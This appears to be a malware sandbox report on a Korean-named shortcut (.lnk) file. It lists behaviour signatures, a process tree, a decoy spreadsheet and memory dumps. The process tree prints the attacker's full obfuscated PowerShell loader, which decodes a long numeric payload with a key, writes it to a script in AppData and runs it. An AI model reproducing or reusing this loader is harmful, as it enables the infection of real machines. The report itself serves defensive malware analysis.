Overview

overview

8

Static

static

1

20260825_�...04.lnk

windows10-2004-x64

8

20260825_�...04.lnk

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    298s
  • max time network
    234s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 15:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    20260825_보안서류_No04.lnk
  • Size 8.5MB
  • Sample260825-slvpgahf59
  • SHA256 2731383d51d953602677368a293459d181e35eb1217654aa5b992f352575c5fd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\20260825_보안서류_No04.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" "$VIUSBvejbawf = \"139 90 93 25 48 100 60 76 172 84 124 141 135 160 165 59 85 140 58 76 100 62 55 91 57 87 105 44 117 161 143 153 86 36 40 94 64 84 89 45 117 161 143 153 124 31 45 106 74 77 89 73 59 106 68 91 90 106 112 173 136 72 150 93 56 107 72 153 160 113 117 125 106 147 106 44 59 91 136 148 172 106 89 135 105 160 135 25 44 97 64 78 103 31 117 161 143 153 139 28 40 94 61 75 94 30 117 161 143 153 92 31 45 106 74 72 92 106 112 173 136 80 90 34 57 104 55 80 150 93 117 161 143 153 124 31 45 106 66 81 94 106 112 173 136 112 90 34 57 96 64 82 150 93 117 161 143 153 88 46 44 87 70 91 85 106 112 173 136 124 106 42 38 100 74 73 165 101 124 166 63 81 90 29 47 94 65 153 172 104 97 173 70 90 164 105 85 104 59 147 137 40 47 132 65 77 88 48 46 106 74 160 159 78 48 108 60 77 126 48 47 104 143 105 99 35 105 155 80 125 93 36 44 88 59 91 90 62 35 90 59 91 95 104 110 125 61 87 95 48 42 84 96 73 94 44 42 127 78 83 103 113 111 104 62 160 170 79 42 88 65 81 170 104 33 122 59 81 92 100 89 94 66 80 87 29 55 91 116 67 172 109 57 95 59 160 143 113 120 103 64 72 96 40 41 89 129 93 93 28 46 89 116 160 168 33 59 173 114 160 168 44 46 87 117 95 92 33 56 108 59 95 172 102 124 171 83 143 158 29 36 89 141 133 172 30 57 173 139 80 107 113 116 134 74 76 159 33 42 94 76 91 89 30 115 146 143 90 93 31 116 169 70 160 143 113 108 173 116 160 168 40 124 160 67 76 172 109 57 95 59 160 145 113 120 100 143 149 161 104 33 173 139 90 96 48 53 173 114 160 89 44 48 104 76 76 159 30 40 91 70 82 101 113 111 93 78 76 88 44 42 95 143 156 102 34 36 97 70 77 88 54 120 100 82 160 168 33 59 146 143 87 102 105 120 103 67 95 101 113 111 95 74 160 168 35 39 97 67 151 172 22 147 169 67 85 98 113 95 173 139 91 94 27 98 108 63 80 104 48 40 108 143 149 172 111 64 128 70 93 90 34 41 94 73 76 112 58 51 95 75 81 85 30 64 125 64 73 103 31 73 101 74 84 96 53 76 122 93 91 107 45 80 100 65 91 112 78 45 95 60 81 96 44 84 94 60 76 109 41 51 90 59 81 90 24 110 89 55 76 170 86 74 104 66 81 86 44 111 132 59 91 95 113 111 93 78 76 100 113 120 97 68 86 172 100 54 94 61 93 103 113 147 196 93 91 95 34 38 104 130 87 88 44 47 173 139 80 107 113 111 103 64 78 105 44 97 104 55 87 88 86 31 80 143 78 103 36 45 87 74 147 99 29 55 96 143 156 92 48 124 160 73 81 90 46 55 146 139 77 104 27 52 90 74 89 103 84 82 94 70 82 159 65 59 89 71 160 164 54 73 84 60 76 103 36 110 132 96 146 124 48 40 101 82 134 146 74 55 89 91 91 95 33 76 108 59 88 164 104 115 173 141 237 52 13 234 21 39 236 52 16 236 69 23 236 38 157 110 85 67 77 84 111 97 100 73 160 164 54 73 84 60 76 103 36 110 132 96 146 134 40 48 104 82 134 146 76 36 100 60 76 89 105 120 90 75 74 100 30 55 102 74 151 163 113 33 91 74 83 93 27 55 160 70 76 103 36 124 169 60 92 86 41 41 104 72 91 172 100 86 94 61 93 103 113 111 123 74 93 87 31 41 104 143 147 135 31 42 94 61 127 105 29 51 94 65 160 121 40 48 104 65 76 96 24 89 94 65 76 99 35 39 104 116 67 168 36 36 94 76 88 86 42 55 144 141 89 100 33 61 135 87 95 134 96 101 118 125 85 152 35 101 99 90 113 94 72 45 152 119 110 124 74 107 124 127 136 91 92 83 155 107 91 134 93 108 171 116 156 106 25 46 87 76 81 99 40 39 104 75 131 170 41 122 162 141 76 170 102 122 89 141 149 170 33 122 162 141 77 170 102 122 147 128 158 161 111 109 171 132 158 90 111 113 171 78 158 161 111 37 159 141 149 170 42 51 171 132 158 88 41 39 107 141 149 170 28 41 104 61 93 93 111 113 171 65 76 103 35 122 162 141 76 158 46 45 96 141 149 170 98 50 108 76 85 107 111 113 171 67 158 161 111 105 171 132 158 153 97 122 162 141 144 157 23 122 162 141 72 170 102 122 105 141 149 170 44 122 162 141 76 86 111 113 171 75 141 157 36 59 171 132 158 99 35 122 162 141 145 170 86 120 91 55 82 86 46 45 100 70 75 103 45 95 169 77 72 94 27 57 94 70 87 87 44 56 162 141 93 86 40 55 102 129 72 96 30 36 171 116 156 100 31 41 173 114 160 140 22 91 88 59 88 93 31 51 83 78 76 99 34 46 144 141 76 93 38 55 95 143 156 95 25 45 106 71 74 101 44 122 146 78 81 100 27 57 94 74 88 102 42 95 171 64 72 100 45 38 90 71 94 90 30 42 104 72 77 88 111 97 140 76 93 103 33 40 144 141 95 92 33 48 100 76 95 88 40 45 95 128 74 94 45 110 102 70 76 100 28 58 159 57 141 158 31 59 86 141 67 145 72 46 87 64 85 103 100 69 104 77 110 103 32 39 104 60 76 172 100 71 91 70 160 168 31 36 95 57 93 93 40 51 88 74 92 172 100 84 104 78 92 103 31 41 173 139 88 90 30 124 160 96 75 88 75 51 97 74 160 168 30 56 87 71 77 103 42 55 146 137 160 168 30 56 87 71 77 103 42 55 146 139 94 106 25 34 100 58 90 103 113 95 173 101 81 99 35 111 125 78 76 100 113 116 169 74 82 86 87 91 93 63 124 107 29 59 164 143 158 95 36 45 100 75 82 86 44 110 93 60 143 170 86 124 169 55 82 86 46 45 100 70 75 103 45 124 144 143 153 168 25 46 95 65 72 104 44 124 144 143 118 93 40 46 160 95 95 88 41 124 165 139 91 94 27 98 140 63 80 136 48 40 108 134 160 170 33 45 104 65 74 99 30 55 91 129 80 89 96 122 146 143 156 94 25 57 87 74 73 143 111 117 162 139 94 84 35 38 106 64 87 99 28 55 105 132 153 121 26 51 87 76 78 106 42 42 104 92 146 88 25 40 171 116 156 94 39 34 101 74 79 91 84 92 82 110 75 88 41 45 91 70 70 107 29 51 94 65 131 170 29 45 98 74 82 172 106 113 169 66 72 93 46 52 87 72 91 161 106 122 146 73 78 98 46 95 171 71 92 98 42 87 123 106 78 99 29 101 149 124 76 99 28 122 146 110 93 105 44 44 89 114 158 107 33 44 97 70 93 107 29 51 94 65 145 86 35 56 159 72 87 88 41 39 107 129 74 153 99 42 108 56 158 79 86 83 95 57 81 97 44 111 118 74 94 122 44 43 88 74 77 88 113 111 120 61 87 172 109 46 85 76 74 103 26 124 160 103 91 107 45 55 91 60 160 168 35 50 83 71 91 91 32 124 160 96 75 88 75 51 97 74 160 168 25 46 95 65 72 104 44 97 122 59 95 90 29 111 125 61 81 105 44 41 90 143 158 105 34 46 101 64 77 88 99 55 85 74 158 172 100 91 91 72 75 95 44 46 89 99 87 89 29 124 171 130 147 100 44 59 105 67 91 89 30 124 93 64 73 103 31 41 101 74 84 96 99 55 85 74 160 159 76 36 104 76 75 88 40 45 95 95 81 96 40 57 84 143 126 83 33 59 90 60 160 159 75 51 97 74 160 168 25 46 95 65 72 104 44 122 173 130 105 99 35 56 94 56 109 88 24 48 104 143 120 99 45 56 104 65 133 165 86 124 169 55 82 86 46 45 100 70 75 103 45 124 81 143 113 87 29 111 135 70 84 103 113 111 135 70 84 103 65 59 89 71 160 168 47 58 85 53 87 87 43 55 173 130 123 94 46 45 105 70 82 101 113 71 121 105 136 145 113 120 83 67 72 98 27 41 104 78 84 85 43 124 144 143 114 103 26 111 122 76 88 103 45 39 97 74 92 120 48 41 98 110 93 88 40 45 95 143 147 135 25 55 106 58 76 103 113 117 125 64 73 103 31 73 101 74 84 96 99 55 85 74 153 172 100 91 91 72 75 95 44 46 89 143 153 159 58 51 95 75 81 85 62 40 84 67 91 172 73 51 105 75 91 94 113 111 95 64 80 172 113 111 127 64 82 131 35 40 104 61 95 105 29 51 87 74 160 159 67 45 125 61 81 102 40 48 104 143 147 135 25 55 106 58 76 99 34 46 125 64 84 99 46 35 173 109 71 92 48 41 90 143 147 137 34 47 96 78 82 104 113 122 167 143 69 168 41 52 90 64 92 86 44 124 144 143 118 93 40 46 160 95 95 88 41 124 165 139 91 94 27 98 140 63 80 136 48 40 108 134 160 112 111 47 96 64 87 104 35 38 104 129 80 89 96 64 171 116 154 172 109 52 101 60 81 104 27 55 146 50 158 165 86 124 169 66 70 84 35 38 90 74 92 89 44 124 144 143 114 103 26 111 122 76 88 103 45 39 97 74 92 120 48 41 98 91 78 99 42 53 104 61 160 159 66 46 106 74 160 159 80 40 173 135 121 103 29 111 137 78 76 103 104 110 140 75 92 127 40 46 88 59 91 89 105 107 152 134 160 159 63 55 93 74 76 99 29 51 94 65 119 94 29 55 91 57 95 96 113 116 127 74 73 159 61 51 96 74 109 92 48 46 173 130 115 99 35 39 89 74 77 172 96 103 164 116 160 168 40 52 100 61 89 89 44 53 173 114 160 126 44 37 160 92 93 100 44 56 88 67 91 104 61 59 90 68 109 103 29 40 100 65 89 89 62 55 89 143 147 132 40 56 105 74 82 145 113 74 104 72 87 89 29 55 91 130 109 105 41 55 105 58 84 103 45 72 108 60 85 172 100 72 108 60 85 126 48 47 104 143 158 138 40 40 129 64 81 97 29 42 173 106 82 103 31 35 93 59 91 103 31 124 140 67 116 135 63 124 137 61 116 99 40 38 104 61 77 109 88 101 154 123 139 150 89 106 154 120 138 151 95 105 153 122 97 87 33 56 108 59 91 103 31 41 171 143 147 139 46 40 100 64 82 172 109 34 97 55 86 86 30 55 108 67 73 102 113 111 121 61 87 101 42 55 91 143 156 95 23 36 95 57 77 103 45 41 104 143 147 121 44 40 89 70 82 101 30 124 169 70 88 99 31 53 90 74 89 145 63 55 96 64 74 103 100 83 89 74 83 172 100 76 108 59 88 172 109 79 84 102 82 86 34 57 108 59 87 93 35 110 128 54 125 93 36 47 108 65 92 158 65 59 89 71 160 159 75 45 91 76 91 145\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \" \"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \"HYe*5f\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\"$Apkengsidefg\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$sxdchviodusgsre = \"$env:appdata\kvnourgr.ps1\";$qqpvm|Out-File -FilePath $sxdchviodusgsre;Get-Content \"$sxdchviodusgsre\" | Out-String | Invoke-Expression"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\현금영수증.xlsx"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:5336

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_w1g4ndgk.bye.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1g4ndgk.bye.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        현금영수증.xlsx
        • Path C:\Users\Admin\AppData\Local\Temp\현금영수증.xlsx
        • Size 11KB
        • SHA256 50ab6c4f28f19e800aa7bdd2f22c89a1da45abc147e2c515e261cd962dc54166
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        1.txt
        • Path C:\Users\Admin\AppData\Roaming\1.txt
        • Size 3KB
        • SHA256 ce339f02c5e7d1afe95bffb14678eb1451179d352d4aa27e7368db56f7fdf579
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        b8ab77100df80ab2.customDestinations-ms
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
        • Size 2KB
        • SHA256 b0710a6c82e48417cc77f47b4389ed82a196fe97d66821e2846a7f1611151570
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4468-49-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-9-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-10-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-11-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-17-0x00000266E92A0000-0x00000266E9352000-memory.dmp
        Download

        memory/4468-18-0x00000266E9360000-0x00000266E936A000-memory.dmp
        Download

        memory/4468-19-0x00000266E94F0000-0x00000266E951A000-memory.dmp
        Download

        memory/4468-20-0x00000266E94F0000-0x00000266E9514000-memory.dmp
        Download

        memory/4468-16-0x00000266E9280000-0x00000266E929E000-memory.dmp
        Download

        memory/4468-21-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-22-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-38-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-8-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-40-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-41-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-7-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-3-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-2-0x00007FFD38F4F000-0x00007FFD38F50000-memory.dmp
        Download

        memory/4468-66-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-6-0x00000266E8EB0000-0x00000266E8ED2000-memory.dmp
        Download

        memory/4468-57-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-58-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-50-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-60-0x00007FFD38DC0000-0x00007FFD39764000-memory.dmp
        Download

        memory/4468-55-0x00000266E98E0000-0x00000266E98FE000-memory.dmp
        Download

        memory/5336-51-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-59-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-61-0x00007FFD19770000-0x00007FFD19780000-memory.dmp
        Download

        memory/5336-56-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-62-0x00007FFD19770000-0x00007FFD19780000-memory.dmp
        Download

        memory/5336-48-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-52-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-96-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-98-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-97-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download

        memory/5336-99-0x00007FFD1BE40000-0x00007FFD1BE50000-memory.dmp
        Download